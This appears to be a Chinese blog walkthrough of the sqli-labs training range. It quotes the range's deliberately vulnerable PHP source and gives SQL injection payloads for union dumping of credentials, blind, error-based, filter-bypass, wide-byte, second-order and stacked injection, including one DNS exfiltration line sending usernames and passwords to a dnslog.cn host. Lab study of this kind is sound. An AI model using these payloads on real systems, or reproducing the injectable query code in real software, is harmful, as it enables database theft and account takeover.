sql 注入就是
当用户输入一些本不是用户名密码的 sql 语句
这些语句没有被过滤
执行后通过回显等方式,使注入者获得了数据库的信息

水了几天用来搞 visual studio2022 和 Windows11 所以本文略微简陋写,以后会完善
visual studio2022 版美化教程见Visual Studio 2022 界面美化教程.

GET 传参

先放代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity
//注意get传参
获取到输入的id后先打开一个result.txt然后把你上传的写入到那个文件里
这样你再一次操作后你就可以看到你的注入语句真正注进去的是啥了
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
//上面一行中$id前后的符号是关键,是注入语句闭合的符号
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

if($row)
{
echo "<font size='5' color= '#99FF00'>";//正确回显颜色为绿色
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "</font>";
}
//这是输入正确时的反馈,直接把运行结果告诉你
但是后几关就不一样了
else
{
echo '<font color= "#FFFF00">';//报错回显为黄色
print_r(mysql_error());
echo "</font>";
}
//这是输入错误时的反馈,把mysql_error反馈给你
同样,后几关也不一样了
}
else { echo "Please input the ID as parameter with numeric value";}
//这是反馈你输入为空的

?>

/* *我为了让读者能看得更清晰,我将注释符的右半部分删去,就像这句一样没有* */(你细品这句话 悖论)
我第一个注释是:注意 get 传参,前 10 关前半部分代码不变
第二个注释是提示读者要注意每一关的闭合方式(包裹方式)
在 if 后 else 前是正确回显部分 在 else 后是错误回显部分
这两部分是区分注入方式所需要关注的

先讲理论

根据两部分分别是否回显判断注入方式
注入方式包含联合查询、布尔盲注、时间盲注、报错注入等

传参

最基础的就是?id=1’、username=admin’这类传参语句,后面的’引号是闭合方式上面有讲,他用的啥符号闭合,你就要用相同的符号来闭合你的语句,输入这类最基础的注入语句来判断是否有报错回显 回显是黄色,代码段注释里有写

判断正确回显(绿色)的数据库中数据的列数,即本靶场回显的行数

1
?id=1order by 1--+

这里的省略号只要不报错 就加大数字,直到报错的前一个数字,就是回显的行数

判断回显的数据是数据库中的哪几列

1
?id=-1union select 1,2,3--+

这里的数字的最大值要等与上一步得到的那个数
上一步 7 报错,那行数就是 6,这一步就要 1,2,3,4,5,6–+
看看那几个数字出现在你屏幕上了
要注意要 id=一个不正确的值 如 0,-1 之类 这样联合查询之后的返回值会让 union 之后的查询语句的结果在数组的第一列,而后台 php 代码只会回显第一列的数据

查库名

1
?id=-1union select 1,2,group_concat(schema_name) from information_schema.schemata --+

这里把查数据库的 sql 语句,替换掉出现在你屏幕上的一个数字 这里是 3 来回显在屏幕上
group_concat(你要查询的数据)from 所在的库 表 列
这里查库名即查schema_name 这个数据被保存在information_schema.schemata
这样 回显的就是 数据库们 的名字

查表名

1
?id=-1union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘security’–+

table 表 information_schema.tables 类比上面 table_schema=‘ 库名’
这里你要猜一下哪个数据库会放着你想要的数据,然后输在库名那个位置

查列名

1
?id=-1union select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘users’--+

同样类比上面 column 列
这里还要猜 上面回显的哪个表里有你要的数据

提取数据

激动人心的时候到了

1
?id=-1union select 1,2,group_concat(concat_ws(’~’,username,password)) from users–+

同样类比上面 有一处特殊 concat_ws(符号,列名,列名)
中间那个符号会被 concat_ws 插入到两组数据之间,就是为了方便看
这样就查到数据了,是不是很简单。

limit

limit 是限制那一部分显示,limitx,y 是从 x+1 开始显示 y 个

实操

正错回显都有

就按上面的步骤一步一步找到数据
security———>users——>username&password 这就是靶场数据库的层次
图啥的以后再补

理论进阶

时间盲注

1
2
?id=1and sleep (5)–+
?id=1and if((left((select schema_name from information_schema.schemata limit 4,1),1,1)=‘s’),1,sleep(3))–+

这样的句子 sleep()就是延时执行的意思,

让浏览器先睡一会
当你想判断对不对的时候,你就让对的睡一会,错的继续肝,这样你就能看出来了

布尔盲注

下面几个方法各有优缺点
因为能知道 sql-lab 靶场数据库的数据
所以刷题时我多用 left
实际

substr

substr(a,b,c)将 a 字段从第 b 个字符读取 c 个字符

ascii

将括号中的字符转换为 acsii 码,再在最后进行值大小的判断,正确返回 1,错误返回 0

类似于数学中的二分法

left

left(a)从第一位开始读取 a 个字符

模糊查询 like

a like ‘%b%’ 判断 a 字符串里是否有 b
a like ‘b%’ 判断 a 开头是否有 b 数

regexp

regexp ‘a’正则表达式

RegExp 对象表示正则表达式,它是对字符串执行模式匹配的强大工具 正则表达式通常被用来检索、替换那些符合某个模式(规则)的文本。
许多语言都有正则表达式
物理也有正则
所以正则是个啥(≧﹏ ≦)

实操进阶

有报错回显 无正确回显

也就是说你在前四关能看见的绿字在 5-8 关用 you are in 替换了
也就是你之前查的库名 表名 列名 和数据不会回显了
当使用布尔盲注时 如果判断正确就会显示 you are in
不正确的话就会报错
下图是第五关第一个用户名 最后一步注入语句
之前步骤参考第 1 到 4 关查各类信息的语句并用布尔盲注所用函数包装在这里插入图片描述

正确回显和报错回显都没有

不论你输入啥,他都会说 you are in

就像你说 啊对对对

这样 布尔盲注也没法用了
你不知道注入语句是对是错
这时就要用时间盲注了
把布尔盲注再进行包装
if(布尔盲注语句,sleep(3),1)
正确的话,浏览器会延时 3 秒再运行
在这里插入图片描述

POST 传参

先讲理论

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
<!--Form to post the data for sql injections Error based SQL Injection-->
<form action="" name="form1" method="post">
<div style="margin-top:15px; height:30px;">Username : &nbsp;&nbsp;&nbsp;
<input type="text" name="uname" value=""/>
</div>
<div> Password : &nbsp;&nbsp;&nbsp;
<input type="text" name="passwd" value=""/>
</div></br>
<div style=" margin-top:9px;margin-left:90px;">
<input type="submit" name="submit" value="Submit" />
</div>
</form>
`上面是前端 通过post传参uname和passwd`
<?php
// take the variables
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
$uname=$_POST['uname'];
$passwd=$_POST['passwd'];
/后端接收前端传的参数
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'User Name:'.$uname);
fwrite($fp,'Password:'.$passwd."\n");
fclose($fp);
// connectivity
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

if($row)
{
//echo '<font color= "#0000ff">';
echo "<br>";
echo '<font color= "#FFFF00" font size = 4>';
//echo " You Have successfully logged in\n\n " ;
echo '<font size="3" color="#0000ff">';
echo "<br>";
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "<br>";
echo "</font>";
echo "<br>";
echo "<br>";
echo '<img src="../images/flag.jpg" />';
/又是这里分成两部分,上面是正确回显
下面是报错回显
echo "</font>";
}
else
{
echo '<font color= "#0000ff" font size="3">';
//echo "Try again looser";
print_r(mysql_error());
echo "</br>";
echo "</br>";
echo "</br>";
echo '<img src="../images/slap.jpg" />';
echo "</font>";
}
}
?>

post传参

post 传参有很多方式最本质的就是在输入框传
然后是一些插件具有传参功能 hackbar 他们一般需要配合抓包的插件使用
较多的是一些抓包软件,burpsuit 等
他们既有抓包功能,也有重发器,测试器功能强大

注入语句

和 get 传参类型的语句大体相同,不同的地方有原来的 id=1’由于 get 传参,抓包后自动写入 uname/password=所以只需要写后面的 admin’ 加上 sql 执行语句,原理一样,都是让系统执行完传参后继续把 sql 语句执行来回显 这里末尾注释符可用#

实操

post 传参同样有三大类

正误回显都有

在 burpsuit 重发器里传参,
在这里插入图片描述
红字部分即为注入语句,这里同样只展示最后一步 其他可按照 get 传参原理
只需改动小部分

没正确回显 有报错回显

在这里插入图片描述这里我采用了辨识度更高的时间盲注 布尔盲注同样使用

正错回显都没有

同上面直接时间盲注

基于报错注入的各种传参方式

先讲报错注入

updatexml

updatexml (XML_document, XPath_string, new_value)
替换查找到的符合条件的数据

extactvalue

extractvalue(XML_document, XPath_string)
对 XML 文档进行查询的函数
当上述两个函数的 xpath 路径出错时,将 XML_document 报错返回回来
注意只能返回 32 个字符,后面的可用 limit 等来限制返回的字符位置

传参方式

burp suite 抓包后改相应数据

user-agent 注入

1
User-Agent:'or updatexml(1,concat(0x7e,(select database()),0x7e),1) or'

referer 注入

将 payload 经 base64 加密后上传即可

过滤注释的GET

源码中过滤掉了注释符
注释符不能用了所以要在闭合上下功夫

1
2
?id=' union select 1,group_concat(username),group_concat(password) from users where 1 or '1' = '1
?id=-1' union select 1,(select group_concat(username) from users),'3

在末尾构造语句使闭合符号与语句组成一个不影响的语句
闭合方式多种多样

二次注入

首先注册一个用户 admin‘#
然后登录
修改密码
当你修改密码时 后台就执行了

1
UPDATE users SET passwd="新密码" WHERE username =' admin' # ' AND password='

也就是
你用 admin’#用户把 admin 用户的密码给改了

过滤

过滤 or 和 and

将 payload 里所有 and 和 or
替换为 anandd 和 oorr
这里 password 也要变成 passwoorrd

1
?id=-1 union select 1,2,group_concat(concat_ws(0x7e,username,passwoorrd)) from users#

过滤下的报错注入

26

1
2
3
4
5
6
7
8
$id= preg_replace('/or/i',"", $id);			/strip out OR (non case sensitive)
$id= preg_replace('/and/i',"", $id); /Strip out AND (non case sensitive)
$id= preg_replace('/[\/\*]/',"", $id); /strip out */
$id= preg_replace('/[--]/',"", $id); /Strip out --
$id= preg_replace('/[#]/',"", $id); /Strip out #
$id= preg_replace('/[\s]/',"", $id); /Strip out spaces
$id= preg_replace('/[\/\\\\]/',"", $id); /Strip out slashes
return $id;

要用到||代替 or information 里的 or 要双写,用||‘1’=‘1 来闭合

1
?id=0'||updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security'))),1)||'1'='1

在这里插入图片描述

27

在这里插入图片描述

1
?id=0'||updatexml(1,concat(0x7e,(SeLect(group_concat(table_name))from(information_schema.tables)where(table_schema='security'))),1)||'1'='1

大小写 select 和 union

过滤下的时间盲注

26 到 27 关的 a 都是无法报错注入的
能用时间盲注过滤方法和不带 a 的关一样

waf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
/ take the variables
if(isset($_GET['id'])){
$qs = $_SERVER['QUERY_STRING'];
$hint=$qs;
$id1=java_implimentation($qs);
$id=$_GET['id'];
//echo $id1;
whitelist($id1);}

/WAF implimentation with a whitelist approach..... only allows input to be Numeric.
function whitelist($input){
$match = preg_match("/^\d+$/", $input);
if($match)
{//echo "you are good";
//return $match;
}
else
{header('Location: hacked.php');
//echo "you are bad";
}
}
/ The function below immitates the behavior of parameters when subject to HPP (HTTP Parameter Pollution).
function java_implimentation($query_string){
$q_s = $query_string;
$qs_array= explode("&",$q_s);
foreach($qs_array as $key => $value){
$val=substr($value,0,2);
if($val=="id"){
$id_value=substr($value,3,30);
return $id_value;
echo "<br>";
break;}
}
}

java_implimentation 模拟 tomcat 的查询函数处理
whitelist 白名单过滤 检测到不符合规则就重定向
漏洞是 whitelist 只检测了 java_implimentation 输出的第一个参数$id_value
后面的逃过检测 注入点在后面
在这里插入图片描述

宽字节注入

MySQL 在使用 GBK 编码的时候,会认为两个字符为一个汉字,因为过滤方法主要就是在敏感字符前面添加 反斜杠 \,所以这里想办法干掉反斜杠即可。
urlencode(’) = %5c%27,我们在%5c%27 前面添加%df,形 成%df%5c%27,MySQL 在 GBK 编码方式的时候会将两个字节当做一个汉字,这个时候就把%df%5c 当做是一个汉字,%27 则作为一个单独的符号在外面,同时也就达到了我们的目的。
在这里插入图片描述

结束注释

当转译为‘/时可用’/**/来结束注释

堆叠注入

在 SQL 中,分号(;)是用来表示一条 sql 语句的结束。结束一个 sql 语句后继续构造下一条语句,会一起执行 因此产生了堆叠注入。而 union injection(联合注入)也是将两条语句合并在一起,两者之间区别在于 union 或者 union all 执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句
堆叠注入为攻击者提供了很多的攻击手段,通过添加一个新 的查询或者终止查询,可以达到修改数据和调用存储过程的目的。这种技术在 SQL 注入中还是比较频繁的。
如下展示了堆叠注入插入了一个用户数据

在这里插入图片描述在这里插入图片描述同时也可以进行 dnslog 注入

1
?id=1';select load_file(concat('//',(select hex(concat_ws('~',username,password)) from users limit 0,1),'.au0mvd.dnslog.cn/1.txt'));--+

在这里插入图片描述

1
2
3
desc查看表结构的详细信息
desc table_name;
此处desc是describe的缩写,用法: desc 表名/查询语句

handler 适用于 select 等过滤

1
2
3
4
5
handler handler_table open;
handler handler_table read first;
handler handler_table read next;
……
handler handler_table close;

二次注入进阶

需成功登录才能二次注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
function sqllogin($host,$dbuser,$dbpass, $dbname){
// connectivity
//mysql connections for stacked query examples.
$con1 = mysqli_connect($host,$dbuser,$dbpass, $dbname);

$username = mysqli_real_escape_string($con1, $_POST["login_user"]);
$password = $_POST["login_password"];

// Check connection
if (mysqli_connect_errno($con1))
{
echo "Failed to connect to MySQL: " . mysqli_connect_error();
}
else
{
@mysqli_select_db($con1, $dbname) or die ( "Unable to connect to the database ######: ");
}
/* execute multi query */
$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
if (@mysqli_multi_query($con1, $sql))
{
/* store first result set */
if($result = @mysqli_store_result($con1))
{
if($row = @mysqli_fetch_row($result)){
if ($row[1]) {
return $row[1];
}
else{
return 0;
}
}
}

else {
echo '<font size="5" color= "#FFFF00">';
print_r(mysqli_error($con1));
echo "</font>";
}
}
else
{
echo '<font size="5" color= "#FFFF00">';
print_r(mysqli_error($con1));
echo "</font>";
}

这里对 username 和 password 过滤不强
可通过万能密码

1
1or '1'='1

登录
接下来通过修改密码界面二次注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?PHP
session_start();
if (!isset($_COOKIE["Auth"])){
if (!isset($_SESSION["username"])) {
header('Location: index.php');
}
header('Location: index.php');
}
?>
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
if (isset($_POST['submit'])){
# Validating the user input........
$username= $_SESSION["username"];
$curr_pass= mysql_real_escape_string($_POST['current_password']);//原密码 还是万能密码绕过
$pass= mysql_real_escape_string($_POST['password']);//新密码
$re_pass= mysql_real_escape_string($_POST['re_password']);
if($pass==$re_pass){
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
$res = mysql_query($sql) or die('You tried to be smart, Try harder!!!! :( ');
$row = mysql_affected_rows();
echo '<font size="3" color="#FFFF00">';
echo '<center>';
if($row==1){
//echo "Password successfully updated";
echo '<img src="../images/password-updated.jpg">';
}
else{
header('Location: failed.php');
//echo 'You tried to be smart, Try harder!!!! :( ';

}
}
else{
echo '<font size="5" color="#FFFF00"><center>';
echo "Make sure New Password and Retype Password fields have same value";
header('refresh:2, url=index.php');
}
}
?>
<?php
if(isset($_POST['submit1']))
{
session_destroy();
setcookie('Auth', 1 , time()-3600);
header ('Location: index.php');
}
?>

他用户名通过 session 获取,所以无法更改其他用户

order by注入

1
SELECT * FROM users ORDER BY

order by 与 where 差不多
但不同是 order by 不能使用 union 联合
其他都可 也比较灵活
从 46 到 53 关皆为 order by 注入

限制次数的注入

从 54 关开始,限制了注入次数
一旦超过次数就会改变数据
一切又要重新开始
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述58-62 可以报错注入
从 62 关开始只能使用盲注
id注入部分代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
<?php
id注入部分代码
//including the Mysql connect parameters.
include '../sql-connections/sql-connect-1.php';
include '../sql-connections/functions.php';
error_reporting(0);
$pag = $_SERVER['PHP_SELF']; /generating page address to piggy back after redirects...
$characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'; /characterset for generating random data
$times= 10;
$table = table_name();
$col = column_name(1); / session id column name
$col1 = column_name(2); /secret key column name
/ Submitting the final answer
if(!isset($_POST['answer_key'])){
/ resetting the challenge and repopulating the table .
if(isset($_POST['reset'])){
setcookie('challenge', ' ', time() - 3600000);
echo "<font size=4>You have reset the Challenge</font><br>\n";
echo "Redirecting you to main challenge page..........\n";
header( "refresh:4;url=../sql-connections/setup-db-challenge.php?id=$pag" );
//echo "cookie expired";

}
else{
/ Checking the cookie on the page and populate the table with random value.
if(isset($_COOKIE['challenge'])){
$sessid=$_COOKIE['challenge'];
//echo "Cookie value: ".$sessid;
}
else{
$expire = time()+60*60*24*30;
$hash = data($table,$col);
setcookie("challenge", $hash, $expire);

}

echo "<br>\n";
/take the variables
if(isset($_GET['id'])){
$id=$_GET['id'];
/logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
/update the counter in database
next_tryy();
/Display attempts on screen.
$tryyy = view_attempts();
echo "You have made : ". $tryyy ." of $times attempts";
echo "<br><br><br>\n";
/Reset the Database if you exceed allowed attempts.
if($tryyy >= ($times+1)){
setcookie('challenge', ' ', time() - 3600000);
echo "<font size=4>You have exceeded maximum allowed attempts, Hence Challenge Has Been Reset </font><br>\n";
echo "Redirecting you to challenge page..........\n";
header( "refresh:3;url=../sql-connections/setup-db-challenge.php?id=$pag" );
echo "<br>\n";
}
/ Querry DB to get the correct output
$sql="SELECT * FROM security.users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row){
echo '<font color= "#00FFFF">';
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "</font>";
}
else {
echo '<font color= "#FFFF00">';
// print_r(mysql_error());
echo "</font>";
}
}
else{
echo "Please input the ID as parameter with numeric value as done in Lab excercises\n<br><br>\n</font>";
echo "<font color='#00FFFF': size=3>The objective of this challenge is to dump the <b>(secret key)</b> from only random table from Database <b><i>('CHALLENGES')</i></b> in Less than $times attempts<br>";
echo "For fun, with every reset, the challenge spawns random table name, column name, table data. Keeping it fresh at all times.<br>" ;
}
}
}

答案提交部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
else
{
echo '<div style=" color:#00FFFF; font-size:18px; text-align:center">';
$key = addslashes($_POST['key']);
$key = mysql_real_escape_string($key);
//echo $key;
/Query table to verify your result
$sql="SELECT 1 FROM $table WHERE $col1= '$key'";
//echo "$sql";
$result=mysql_query($sql)or die("error in submittion of Key Solution".mysql_error());
$row = mysql_fetch_array($result);
if($row)
{
echo '<font color= "#FFFF00">';
echo "\n<br><br><br>";
echo '<img src="../images/Less-54-1.jpg" />';
echo "</font>";
header( "refresh:4;url=../sql-connections/setup-db-challenge.php?id=$pag" );
}
else {
echo '<font color= "#FFFF00">';
echo "\n<br><br><br>";
echo '<img src="../images/slap1.jpg" />';
header( "refresh:3;url=index.php" );
//print_r(mysql_error());
echo "</font>";
}
}
?>